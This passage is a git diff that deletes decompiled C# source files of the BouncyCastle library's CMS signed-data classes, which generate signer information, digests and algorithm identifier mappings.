- internal SignerInfoGeneratorImpl(CmsSignedDataStreamGenerator outer, AsymmetricKeyParameter key, SignerIdentifier signerIdentifier, string digestOID, string encOID, CmsAttributeTableGenerator sAttr, CmsAttributeTableGenerator unsAttr) - { - this.outer = outer; - _signerIdentifier = signerIdentifier; - _digestOID = digestOID; - _encOID = encOID; - _sAttr = sAttr; - _unsAttr = unsAttr; - _encName = Helper.GetEncryptionAlgName(_encOID); - string digestAlgName = Helper.GetDigestAlgName(_digestOID); - string algorithm = digestAlgName + "with" + _encName; - if (_sAttr != null) - { - _sig = Helper.GetSignatureInstance(algorithm); - } - else if (_encName.Equals("RSA")) - { - _sig = Helper.GetSignatureInstance("RSA"); - } - else - { - if (!_encName.Equals("DSA")) - { - throw new SignatureException("algorithm: " + _encName + " not supported in base signatures."); - } - _sig = Helper.GetSignatureInstance("NONEwithDSA"); - } - _sig.Init(forSigning: true, new ParametersWithRandom(key, outer.rand)); - } - - public SignerInfo Generate(DerObjectIdentifier contentType, AlgorithmIdentifier digestAlgorithm, byte[] calculatedDigest) - { - try - { - string digestAlgName = Helper.GetDigestAlgName(_digestOID); - string algorithm = digestAlgName + "with" + _encName; - byte[] array = calculatedDigest; - Asn1Set asn1Set = null; - if (_sAttr != null) - { - IDictionary baseParameters = outer.GetBaseParameters(contentType, digestAlgorithm, calculatedDigest); - Org.BouncyCastle.Asn1.Cms.AttributeTable attributeTable = _sAttr.GetAttributes(baseParameters); - if (contentType == null && attributeTable != null && attributeTable[CmsAttributes.ContentType] != null) - { - IDictionary dictionary = attributeTable.ToDictionary(); - dictionary.Remove(CmsAttributes.ContentType); - attributeTable = new Org.BouncyCastle.Asn1.Cms.AttributeTable(dictionary); - } - asn1Set = outer.GetAttributeSet(attributeTable); - array = asn1Set.GetEncoded("DER"); - } - else if (_encName.Equals("RSA")) - { - DigestInfo digestInfo = new DigestInfo(digestAlgorithm, calculatedDigest); - array = digestInfo.GetEncoded("DER"); - } - _sig.BlockUpdate(array, 0, array.Length); - byte[] array2 = _sig.GenerateSignature(); - Asn1Set unauthenticatedAttributes = null; - if (_unsAttr != null) - { - IDictionary baseParameters2 = outer.GetBaseParameters(contentType, digestAlgorithm, calculatedDigest); - baseParameters2[CmsAttributeTableParameter.Signature] = array2.Clone(); - Org.BouncyCastle.Asn1.Cms.AttributeTable attributes = _unsAttr.GetAttributes(baseParameters2); - unauthenticatedAttributes = outer.GetAttributeSet(attributes); - } - Asn1Encodable defaultX509Parameters = SignerUtilities.GetDefaultX509Parameters(algorithm); - AlgorithmIdentifier encAlgorithmIdentifier = Helper.GetEncAlgorithmIdentifier(new DerObjectIdentifier(_encOID), defaultX509Parameters); - return new SignerInfo(_signerIdentifier, digestAlgorithm, asn1Set, encAlgorithmIdentifier, new DerOctetString(array2), unauthenticatedAttributes); - } - catch (IOException e) - { - throw new CmsStreamException("encoding error.", e); - } - catch (SignatureException e2) - { - throw new CmsStreamException("error creating signature.", e2); - } - } - } - - private class CmsSignedDataOutputStream : BaseOutputStream - { - private readonly CmsSignedDataStreamGenerator outer; - - private Stream _out; - - private DerObjectIdentifier _contentOID; - - private BerSequenceGenerator _sGen; - - private BerSequenceGenerator _sigGen; - - private BerSequenceGenerator _eiGen; - - public CmsSignedDataOutputStream(CmsSignedDataStreamGenerator outer, Stream outStream, string contentOID, BerSequenceGenerator sGen, BerSequenceGenerator sigGen, BerSequenceGenerator eiGen) - { - this.outer = outer; - _out = outStream; - _contentOID = new DerObjectIdentifier(contentOID); - _sGen = sGen; - _sigGen = sigGen; - _eiGen = eiGen; - } - - public override void WriteByte(byte b) - { - _out.WriteByte(b); - } - - public override void Write(byte[] bytes, int off, int len) - { - _out.Write(bytes, off, len); - } - - public override void Close() - { - DoClose(); - base.Close(); - } - - private void DoClose() - { - Platform.Dispose(_out); - _eiGen.Close(); - outer._digests.Clear(); - if (outer._certs.Count > 0) - { - Asn1Set obj = (outer.UseDerForCerts ? CmsUtilities.CreateDerSetFromList(outer._certs) : CmsUtilities.CreateBerSetFromList(outer._certs)); - WriteToGenerator(_sigGen, new BerTaggedObject(explicitly: false, 0, obj)); - } - if (outer._crls.Count > 0) - { - Asn1Set obj2 = (outer.UseDerForCrls ? CmsUtilities.CreateDerSetFromList(outer._crls) : CmsUtilities.CreateBerSetFromList(outer._crls)); - WriteToGenerator(_sigGen, new BerTaggedObject(explicitly: false, 1, obj2)); - } - foreach (object messageDigest in outer._messageDigests) - { - DictionaryEntry dictionaryEntry = (DictionaryEntry)messageDigest; - outer._messageHashes.Add(dictionaryEntry.Key, DigestUtilities.DoFinal((IDigest)dictionaryEntry.Value)); - } - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (DigestAndSignerInfoGeneratorHolder signerInf in outer._signerInfs) - { - AlgorithmIdentifier digestAlgorithm = signerInf.DigestAlgorithm; - byte[] array = (byte[])outer._messageHashes[Helper.GetDigestAlgName(signerInf.digestOID)]; - outer._digests[signerInf.digestOID] = array.Clone(); - asn1EncodableVector.Add(signerInf.signerInf.Generate(_contentOID, digestAlgorithm, array)); - } - foreach (SignerInformation signer in outer._signers) - { - asn1EncodableVector.Add(signer.ToSignerInfo()); - } - WriteToGenerator(_sigGen, new DerSet(asn1EncodableVector)); - _sigGen.Close(); - _sGen.Close(); - } - - private static void WriteToGenerator(Asn1Generator ag, Asn1Encodable ae) - { - byte[] encoded = ae.GetEncoded(); - ag.GetRawOutputStream().Write(encoded, 0, encoded.Length); - } - } - - private static readonly CmsSignedHelper Helper = CmsSignedHelper.Instance; - - private readonly IList _signerInfs = Platform.CreateArrayList(); - - private readonly ISet _messageDigestOids = new HashSet(); - - private readonly IDictionary _messageDigests = Platform.CreateHashtable(); - - private readonly IDictionary _messageHashes = Platform.CreateHashtable(); - - private bool _messageDigestsLocked; - - private int _bufferSize; - - public CmsSignedDataStreamGenerator() - { - } - - public CmsSignedDataStreamGenerator(SecureRandom rand) - : base(rand) - { - } - - public void SetBufferSize(int bufferSize) - { - _bufferSize = bufferSize; - } - - public void AddDigests(params string[] digestOids) - { - AddDigests((IEnumerable)digestOids); - } - - public void AddDigests(IEnumerable digestOids) - { - foreach (string digestOid in digestOids) - { - ConfigureDigest(digestOid); - } - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string digestOid) - { - AddSigner(privateKey, cert, digestOid, new DefaultSignedAttributeTableGenerator(), null); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string encryptionOid, string digestOid) - { - AddSigner(privateKey, cert, encryptionOid, digestOid, new DefaultSignedAttributeTableGenerator(), null); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string digestOid, Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttr, Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttr) - { - AddSigner(privateKey, cert, digestOid, new DefaultSignedAttributeTableGenerator(signedAttr), new SimpleAttributeTableGenerator(unsignedAttr)); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string encryptionOid, string digestOid, Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttr, Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttr) - { - AddSigner(privateKey, cert, encryptionOid, digestOid, new DefaultSignedAttributeTableGenerator(signedAttr), new SimpleAttributeTableGenerator(unsignedAttr)); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string digestOid, CmsAttributeTableGenerator signedAttrGenerator, CmsAttributeTableGenerator unsignedAttrGenerator) - { - AddSigner(privateKey, cert, Helper.GetEncOid(privateKey, digestOid), digestOid, signedAttrGenerator, unsignedAttrGenerator); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, X509Certificate cert, string encryptionOid, string digestOid, CmsAttributeTableGenerator signedAttrGenerator, CmsAttributeTableGenerator unsignedAttrGenerator) - { - DoAddSigner(privateKey, CmsSignedGenerator.GetSignerIdentifier(cert), encryptionOid, digestOid, signedAttrGenerator, unsignedAttrGenerator); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, byte[] subjectKeyID, string digestOid) - { - AddSigner(privateKey, subjectKeyID, digestOid, new DefaultSignedAttributeTableGenerator(), null); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, byte[] subjectKeyID, string encryptionOid, string digestOid) - { - AddSigner(privateKey, subjectKeyID, encryptionOid, digestOid, new DefaultSignedAttributeTableGenerator(), null); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, byte[] subjectKeyID, string digestOid, Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttr, Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttr) - { - AddSigner(privateKey, subjectKeyID, digestOid, new DefaultSignedAttributeTableGenerator(signedAttr), new SimpleAttributeTableGenerator(unsignedAttr)); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, byte[] subjectKeyID, string digestOid, CmsAttributeTableGenerator signedAttrGenerator, CmsAttributeTableGenerator unsignedAttrGenerator) - { - AddSigner(privateKey, subjectKeyID, Helper.GetEncOid(privateKey, digestOid), digestOid, signedAttrGenerator, unsignedAttrGenerator); - } - - public void AddSigner(AsymmetricKeyParameter privateKey, byte[] subjectKeyID, string encryptionOid, string digestOid, CmsAttributeTableGenerator signedAttrGenerator, CmsAttributeTableGenerator unsignedAttrGenerator) - { - DoAddSigner(privateKey, CmsSignedGenerator.GetSignerIdentifier(subjectKeyID), encryptionOid, digestOid, signedAttrGenerator, unsignedAttrGenerator); - } - - private void DoAddSigner(AsymmetricKeyParameter privateKey, SignerIdentifier signerIdentifier, string encryptionOid, string digestOid, CmsAttributeTableGenerator signedAttrGenerator, CmsAttributeTableGenerator unsignedAttrGenerator) - { - ConfigureDigest(digestOid); - SignerInfoGeneratorImpl signerInf = new SignerInfoGeneratorImpl(this, privateKey, signerIdentifier, digestOid, encryptionOid, signedAttrGenerator, unsignedAttrGenerator); - _signerInfs.Add(new DigestAndSignerInfoGeneratorHolder(signerInf, digestOid)); - } - - internal override void AddSignerCallback(SignerInformation si) - { - RegisterDigestOid(si.DigestAlgorithmID.Algorithm.Id); - } - - public Stream Open(Stream outStream) - { - return Open(outStream, encapsulate: false); - } - - public Stream Open(Stream outStream, bool encapsulate) - { - return Open(outStream, CmsSignedGenerator.Data, encapsulate); - } - - public Stream Open(Stream outStream, bool encapsulate, Stream dataOutputStream) - { - return Open(outStream, CmsSignedGenerator.Data, encapsulate, dataOutputStream); - } - - public Stream Open(Stream outStream, string signedContentType, bool encapsulate) - { - return Open(outStream, signedContentType, encapsulate, null); - } - - public Stream Open(Stream outStream, string signedContentType, bool encapsulate, Stream dataOutputStream) - { - if (outStream == null) - { - throw new ArgumentNullException("outStream"); - } - if (!outStream.CanWrite) - { - throw new ArgumentException("Expected writeable stream", "outStream"); - } - if (dataOutputStream != null && !dataOutputStream.CanWrite) - { - throw new ArgumentException("Expected writeable stream", "dataOutputStream"); - } - _messageDigestsLocked = true; - BerSequenceGenerator berSequenceGenerator = new BerSequenceGenerator(outStream); - berSequenceGenerator.AddObject(CmsObjectIdentifiers.SignedData); - BerSequenceGenerator berSequenceGenerator2 = new BerSequenceGenerator(berSequenceGenerator.GetRawOutputStream(), 0, isExplicit: true); - DerObjectIdentifier derObjectIdentifier = ((signedContentType == null) ? null : new DerObjectIdentifier(signedContentType)); - berSequenceGenerator2.AddObject(CalculateVersion(derObjectIdentifier)); - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (string messageDigestOid in _messageDigestOids) - { - asn1EncodableVector.Add(new AlgorithmIdentifier(new DerObjectIdentifier(messageDigestOid), DerNull.Instance)); - } - byte[] encoded = new DerSet(asn1EncodableVector).GetEncoded(); - berSequenceGenerator2.GetRawOutputStream().Write(encoded, 0, encoded.Length); - BerSequenceGenerator berSequenceGenerator3 = new BerSequenceGenerator(berSequenceGenerator2.GetRawOutputStream()); - berSequenceGenerator3.AddObject(derObjectIdentifier); - Stream s = (encapsulate ? CmsUtilities.CreateBerOctetOutputStream(berSequenceGenerator3.GetRawOutputStream(), 0, isExplicit: true, _bufferSize) : null); - Stream safeTeeOutputStream = GetSafeTeeOutputStream(dataOutputStream, s); - Stream outStream2 = AttachDigestsToOutputStream(_messageDigests.Values, safeTeeOutputStream); - return new CmsSignedDataOutputStream(this, outStream2, signedContentType, berSequenceGenerator, berSequenceGenerator2, berSequenceGenerator3); - } - - private void RegisterDigestOid(string digestOid) - { - if (_messageDigestsLocked) - { - if (!_messageDigestOids.Contains(digestOid)) - { - throw new InvalidOperationException("Cannot register new digest OIDs after the data stream is opened"); - } - } - else - { - _messageDigestOids.Add(digestOid); - } - } - - private void ConfigureDigest(string digestOid) - { - RegisterDigestOid(digestOid); - string digestAlgName = Helper.GetDigestAlgName(digestOid); - IDigest digest = (IDigest)_messageDigests[digestAlgName]; - if (digest == null) - { - if (_messageDigestsLocked) - { - throw new InvalidOperationException("Cannot configure new digests after the data stream is opened"); - } - digest = Helper.GetDigestInstance(digestAlgName); - _messageDigests[digestAlgName] = digest; - } - } - - internal void Generate(Stream outStream, string eContentType, bool encapsulate, Stream dataOutputStream, CmsProcessable content) - { - Stream stream = Open(outStream, eContentType, encapsulate, dataOutputStream); - content?.Write(stream); - Platform.Dispose(stream); - } - - private DerInteger CalculateVersion(DerObjectIdentifier contentOid) - { - bool flag = false; - bool flag2 = false; - bool flag3 = false; - bool flag4 = false; - if (_certs != null) - { - foreach (object cert in _certs) - { - if (cert is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)cert; - if (asn1TaggedObject.TagNo == 1) - { - flag3 = true; - } - else if (asn1TaggedObject.TagNo == 2) - { - flag4 = true; - } - else if (asn1TaggedObject.TagNo == 3) - { - flag = true; - break; - } - } - } - } - if (flag) - { - return new DerInteger(5); - } - if (_crls != null) - { - foreach (object crl in _crls) - { - if (crl is Asn1TaggedObject) - { - flag2 = true; - break; - } - } - } - if (flag2) - { - return new DerInteger(5); - } - if (flag4) - { - return new DerInteger(4); - } - if (flag3 || !CmsObjectIdentifiers.Data.Equals(contentOid) || CheckForVersion3(_signers)) - { - return new DerInteger(3); - } - return new DerInteger(1); - } - - private bool CheckForVersion3(IList signerInfos) - { - foreach (SignerInformation signerInfo in signerInfos) - { - SignerInfo instance = SignerInfo.GetInstance(signerInfo.ToSignerInfo()); - if (instance.Version.Value.IntValue == 3) - { - return true; - } - } - return false; - } - - private static Stream AttachDigestsToOutputStream(ICollection digests, Stream s) - { - Stream stream = s; - foreach (IDigest digest in digests) - { - stream = GetSafeTeeOutputStream(stream, new DigestSink(digest)); - } - return stream; - } - - private static Stream GetSafeOutputStream(Stream s) - { - if (s == null) - { - return new NullOutputStream(); - } - return s; - } - - private static Stream GetSafeTeeOutputStream(Stream s1, Stream s2) - { - if (s1 == null) - { - return GetSafeOutputStream(s2); - } - if (s2 == null) - { - return GetSafeOutputStream(s1); - } - return new TeeOutputStream(s1, s2); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedGenerator.cs deleted file mode 100644 index cfad20f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedGenerator.cs +++ /dev/null @@ -1,177 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Cms; - -public class CmsSignedGenerator -{ - public static readonly string Data = CmsObjectIdentifiers.Data.Id; - - public static readonly string DigestSha1 = OiwObjectIdentifiers.IdSha1.Id; - - public static readonly string DigestSha224 = NistObjectIdentifiers.IdSha224.Id; - - public static readonly string DigestSha256 = NistObjectIdentifiers.IdSha256.Id; - - public static readonly string DigestSha384 = NistObjectIdentifiers.IdSha384.Id; - - public static readonly string DigestSha512 = NistObjectIdentifiers.IdSha512.Id; - - public static readonly string DigestMD5 = PkcsObjectIdentifiers.MD5.Id; - - public static readonly string DigestGost3411 = CryptoProObjectIdentifiers.GostR3411.Id; - - public static readonly string DigestRipeMD128 = TeleTrusTObjectIdentifiers.RipeMD128.Id; - - public static readonly string DigestRipeMD160 = TeleTrusTObjectIdentifiers.RipeMD160.Id; - - public static readonly string DigestRipeMD256 = TeleTrusTObjectIdentifiers.RipeMD256.Id; - - public static readonly string EncryptionRsa = PkcsObjectIdentifiers.RsaEncryption.Id; - - public static readonly string EncryptionDsa = X9ObjectIdentifiers.IdDsaWithSha1.Id; - - public static readonly string EncryptionECDsa = X9ObjectIdentifiers.ECDsaWithSha1.Id; - - public static readonly string EncryptionRsaPss = PkcsObjectIdentifiers.IdRsassaPss.Id; - - public static readonly string EncryptionGost3410 = CryptoProObjectIdentifiers.GostR3410x94.Id; - - public static readonly string EncryptionECGost3410 = CryptoProObjectIdentifiers.GostR3410x2001.Id; - - internal IList _certs = Platform.CreateArrayList(); - - internal IList _crls = Platform.CreateArrayList(); - - internal IList _signers = Platform.CreateArrayList(); - - internal IDictionary _digests = Platform.CreateHashtable(); - - internal bool _useDerForCerts = false; - - internal bool _useDerForCrls = false; - - protected readonly SecureRandom rand; - - public bool UseDerForCerts - { - get - { - return _useDerForCerts; - } - set - { - _useDerForCerts = value; - } - } - - public bool UseDerForCrls - { - get - { - return _useDerForCrls; - } - set - { - _useDerForCrls = value; - } - } - - protected CmsSignedGenerator() - : this(new SecureRandom()) - { - } - - protected CmsSignedGenerator(SecureRandom rand) - { - this.rand = rand; - } - - protected internal virtual IDictionary GetBaseParameters(DerObjectIdentifier contentType, AlgorithmIdentifier digAlgId, byte[] hash) - { - IDictionary dictionary = Platform.CreateHashtable(); - if (contentType != null) - { - dictionary[CmsAttributeTableParameter.ContentType] = contentType; - } - dictionary[CmsAttributeTableParameter.DigestAlgorithmIdentifier] = digAlgId; - dictionary[CmsAttributeTableParameter.Digest] = hash.Clone(); - return dictionary; - } - - protected internal virtual Asn1Set GetAttributeSet(Org.BouncyCastle.Asn1.Cms.AttributeTable attr) - { - if (attr != null) - { - return new DerSet(attr.ToAsn1EncodableVector()); - } - return null; - } - - public void AddCertificates(IX509Store certStore) - { - CollectionUtilities.AddRange(_certs, CmsUtilities.GetCertificatesFromStore(certStore)); - } - - public void AddCrls(IX509Store crlStore) - { - CollectionUtilities.AddRange(_crls, CmsUtilities.GetCrlsFromStore(crlStore)); - } - - public void AddAttributeCertificates(IX509Store store) - { - try - { - foreach (IX509AttributeCertificate match in store.GetMatches(null)) - { - _certs.Add(new DerTaggedObject(explicitly: false, 2, AttributeCertificate.GetInstance(Asn1Object.FromByteArray(match.GetEncoded())))); - } - } - catch (Exception e) - { - throw new CmsException("error processing attribute certs", e); - } - } - - public void AddSigners(SignerInformationStore signerStore) - { - foreach (SignerInformation signer in signerStore.GetSigners()) - { - _signers.Add(signer); - AddSignerCallback(signer); - } - } - - public IDictionary GetGeneratedDigests() - { - return Platform.CreateHashtable(_digests); - } - - internal virtual void AddSignerCallback(SignerInformation si) - { - } - - internal static SignerIdentifier GetSignerIdentifier(X509Certificate cert) - { - return new SignerIdentifier(CmsUtilities.GetIssuerAndSerialNumber(cert)); - } - - internal static SignerIdentifier GetSignerIdentifier(byte[] subjectKeyIdentifier) - { - return new SignerIdentifier(new DerOctetString(subjectKeyIdentifier)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedHelper.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedHelper.cs deleted file mode 100644 index 54f9e94..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/CmsSignedHelper.cs +++ /dev/null @@ -1,384 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Eac; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Cms; - -internal class CmsSignedHelper -{ - internal static readonly CmsSignedHelper Instance; - - private static readonly string EncryptionECDsaWithSha1; - - private static readonly string EncryptionECDsaWithSha224; - - private static readonly string EncryptionECDsaWithSha256; - - private static readonly string EncryptionECDsaWithSha384; - - private static readonly string EncryptionECDsaWithSha512; - - private static readonly IDictionary encryptionAlgs; - - private static readonly IDictionary digestAlgs; - - private static readonly IDictionary digestAliases; - - private static readonly ISet noParams; - - private static readonly IDictionary ecAlgorithms; - - private static void AddEntries(DerObjectIdentifier oid, string digest, string encryption) - { - string id = oid.Id; - digestAlgs.Add(id, digest); - encryptionAlgs.Add(id, encryption); - } - - static CmsSignedHelper() - { - Instance = new CmsSignedHelper(); - EncryptionECDsaWithSha1 = X9ObjectIdentifiers.ECDsaWithSha1.Id; - EncryptionECDsaWithSha224 = X9ObjectIdentifiers.ECDsaWithSha224.Id; - EncryptionECDsaWithSha256 = X9ObjectIdentifiers.ECDsaWithSha256.Id; - EncryptionECDsaWithSha384 = X9ObjectIdentifiers.ECDsaWithSha384.Id; - EncryptionECDsaWithSha512 = X9ObjectIdentifiers.ECDsaWithSha512.Id; - encryptionAlgs = Platform.CreateHashtable(); - digestAlgs = Platform.CreateHashtable(); - digestAliases = Platform.CreateHashtable(); - noParams = new HashSet(); - ecAlgorithms = Platform.CreateHashtable(); - AddEntries(NistObjectIdentifiers.DsaWithSha224, "SHA224", "DSA"); - AddEntries(NistObjectIdentifiers.DsaWithSha256, "SHA256", "DSA"); - AddEntries(NistObjectIdentifiers.DsaWithSha384, "SHA384", "DSA"); - AddEntries(NistObjectIdentifiers.DsaWithSha512, "SHA512", "DSA"); - AddEntries(OiwObjectIdentifiers.DsaWithSha1, "SHA1", "DSA"); - AddEntries(OiwObjectIdentifiers.MD4WithRsa, "MD4", "RSA"); - AddEntries(OiwObjectIdentifiers.MD4WithRsaEncryption, "MD4", "RSA"); - AddEntries(OiwObjectIdentifiers.MD5WithRsa, "MD5", "RSA"); - AddEntries(OiwObjectIdentifiers.Sha1WithRsa, "SHA1", "RSA"); - AddEntries(PkcsObjectIdentifiers.MD2WithRsaEncryption, "MD2", "RSA"); - AddEntries(PkcsObjectIdentifiers.MD4WithRsaEncryption, "MD4", "RSA"); - AddEntries(PkcsObjectIdentifiers.MD5WithRsaEncryption, "MD5", "RSA"); - AddEntries(PkcsObjectIdentifiers.Sha1WithRsaEncryption, "SHA1", "RSA"); - AddEntries(PkcsObjectIdentifiers.Sha224WithRsaEncryption, "SHA224", "RSA"); - AddEntries(PkcsObjectIdentifiers.Sha256WithRsaEncryption, "SHA256", "RSA"); - AddEntries(PkcsObjectIdentifiers.Sha384WithRsaEncryption, "SHA384", "RSA"); - AddEntries(PkcsObjectIdentifiers.Sha512WithRsaEncryption, "SHA512", "RSA"); - AddEntries(X9ObjectIdentifiers.ECDsaWithSha1, "SHA1", "ECDSA"); - AddEntries(X9ObjectIdentifiers.ECDsaWithSha224, "SHA224", "ECDSA"); - AddEntries(X9ObjectIdentifiers.ECDsaWithSha256, "SHA256", "ECDSA"); - AddEntries(X9ObjectIdentifiers.ECDsaWithSha384, "SHA384", "ECDSA"); - AddEntries(X9ObjectIdentifiers.ECDsaWithSha512, "SHA512", "ECDSA"); - AddEntries(X9ObjectIdentifiers.IdDsaWithSha1, "SHA1", "DSA"); - AddEntries(EacObjectIdentifiers.id_TA_ECDSA_SHA_1, "SHA1", "ECDSA"); - AddEntries(EacObjectIdentifiers.id_TA_ECDSA_SHA_224, "SHA224", "ECDSA"); - AddEntries(EacObjectIdentifiers.id_TA_ECDSA_SHA_256, "SHA256", "ECDSA"); - AddEntries(EacObjectIdentifiers.id_TA_ECDSA_SHA_384, "SHA384", "ECDSA"); - AddEntries(EacObjectIdentifiers.id_TA_ECDSA_SHA_512, "SHA512", "ECDSA"); - AddEntries(EacObjectIdentifiers.id_TA_RSA_v1_5_SHA_1, "SHA1", "RSA"); - AddEntries(EacObjectIdentifiers.id_TA_RSA_v1_5_SHA_256, "SHA256", "RSA"); - AddEntries(EacObjectIdentifiers.id_TA_RSA_PSS_SHA_1, "SHA1", "RSAandMGF1"); - AddEntries(EacObjectIdentifiers.id_TA_RSA_PSS_SHA_256, "SHA256", "RSAandMGF1"); - encryptionAlgs.Add(X9ObjectIdentifiers.IdDsa.Id, "DSA"); - encryptionAlgs.Add(PkcsObjectIdentifiers.RsaEncryption.Id, "RSA"); - encryptionAlgs.Add(TeleTrusTObjectIdentifiers.TeleTrusTRsaSignatureAlgorithm, "RSA"); - encryptionAlgs.Add(X509ObjectIdentifiers.IdEARsa.Id, "RSA"); - encryptionAlgs.Add(CmsSignedGenerator.EncryptionRsaPss, "RSAandMGF1"); - encryptionAlgs.Add(CryptoProObjectIdentifiers.GostR3410x94.Id, "GOST3410"); - encryptionAlgs.Add(CryptoProObjectIdentifiers.GostR3410x2001.Id, "ECGOST3410"); - encryptionAlgs.Add("1.3.6.1.4.1.5849.1.6.2", "ECGOST3410"); - encryptionAlgs.Add("1.3.6.1.4.1.5849.1.1.5", "GOST3410"); - digestAlgs.Add(PkcsObjectIdentifiers.MD2.Id, "MD2"); - digestAlgs.Add(PkcsObjectIdentifiers.MD4.Id, "MD4"); - digestAlgs.Add(PkcsObjectIdentifiers.MD5.Id, "MD5"); - digestAlgs.Add(OiwObjectIdentifiers.IdSha1.Id, "SHA1"); - digestAlgs.Add(NistObjectIdentifiers.IdSha224.Id, "SHA224"); - digestAlgs.Add(NistObjectIdentifiers.IdSha256.Id, "SHA256"); - digestAlgs.Add(NistObjectIdentifiers.IdSha384.Id, "SHA384"); - digestAlgs.Add(NistObjectIdentifiers.IdSha512.Id, "SHA512"); - digestAlgs.Add(TeleTrusTObjectIdentifiers.RipeMD128.Id, "RIPEMD128"); - digestAlgs.Add(TeleTrusTObjectIdentifiers.RipeMD160.Id, "RIPEMD160"); - digestAlgs.Add(TeleTrusTObjectIdentifiers.RipeMD256.Id, "RIPEMD256"); - digestAlgs.Add(CryptoProObjectIdentifiers.GostR3411.Id, "GOST3411"); - digestAlgs.Add("1.3.6.1.4.1.5849.1.2.1", "GOST3411"); - digestAliases.Add("SHA1", new string[1] { "SHA-1" }); - digestAliases.Add("SHA224", new string[1] { "SHA-224" }); - digestAliases.Add("SHA256", new string[1] { "SHA-256" }); - digestAliases.Add("SHA384", new string[1] { "SHA-384" }); - digestAliases.Add("SHA512", new string[1] { "SHA-512" }); - noParams.Add(CmsSignedGenerator.EncryptionDsa); - noParams.Add(EncryptionECDsaWithSha1); - noParams.Add(EncryptionECDsaWithSha224); - noParams.Add(EncryptionECDsaWithSha256); - noParams.Add(EncryptionECDsaWithSha384); - noParams.Add(EncryptionECDsaWithSha512); - ecAlgorithms.Add(CmsSignedGenerator.DigestSha1, EncryptionECDsaWithSha1); - ecAlgorithms.Add(CmsSignedGenerator.DigestSha224, EncryptionECDsaWithSha224); - ecAlgorithms.Add(CmsSignedGenerator.DigestSha256, EncryptionECDsaWithSha256); - ecAlgorithms.Add(CmsSignedGenerator.DigestSha384, EncryptionECDsaWithSha384); - ecAlgorithms.Add(CmsSignedGenerator.DigestSha512, EncryptionECDsaWithSha512); - } - - internal string GetDigestAlgName(string digestAlgOid) - { - string text = (string)digestAlgs[digestAlgOid]; - if (text != null) - { - return text; - } - return digestAlgOid; - } - - internal AlgorithmIdentifier GetEncAlgorithmIdentifier(DerObjectIdentifier encOid, Asn1Encodable sigX509Parameters) - { - if (noParams.Contains(encOid.Id)) - { - return new AlgorithmIdentifier(encOid); - } - return new AlgorithmIdentifier(encOid, sigX509Parameters); - } - - internal string[] GetDigestAliases(string algName) - { - string[] array = (string[])digestAliases[algName]; - if (array != null) - { - return (string[])array.Clone(); - } - return new string[0]; - } - - internal string GetEncryptionAlgName(string encryptionAlgOid) - { - string text = (string)encryptionAlgs[encryptionAlgOid]; - if (text != null) - { - return text; - } - return encryptionAlgOid; - } - - internal IDigest GetDigestInstance(string algorithm) - { - try - { - return DigestUtilities.GetDigest(algorithm); - } - catch (SecurityUtilityException ex) - { - string[] array = GetDigestAliases(algorithm); - foreach (string algorithm2 in array) - { - try - { - return DigestUtilities.GetDigest(algorithm2); - } - catch (SecurityUtilityException) - { - } - } - throw ex; - } - } - - internal ISigner GetSignatureInstance(string algorithm) - { - return SignerUtilities.GetSigner(algorithm); - } - - internal IX509Store CreateAttributeStore(string type, Asn1Set certSet) - { - IList list = Platform.CreateArrayList(); - if (certSet != null) - { - foreach (Asn1Encodable item in certSet) - { - try - { - Asn1Object asn1Object = item.ToAsn1Object(); - if (asn1Object is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)asn1Object; - if (asn1TaggedObject.TagNo == 2) - 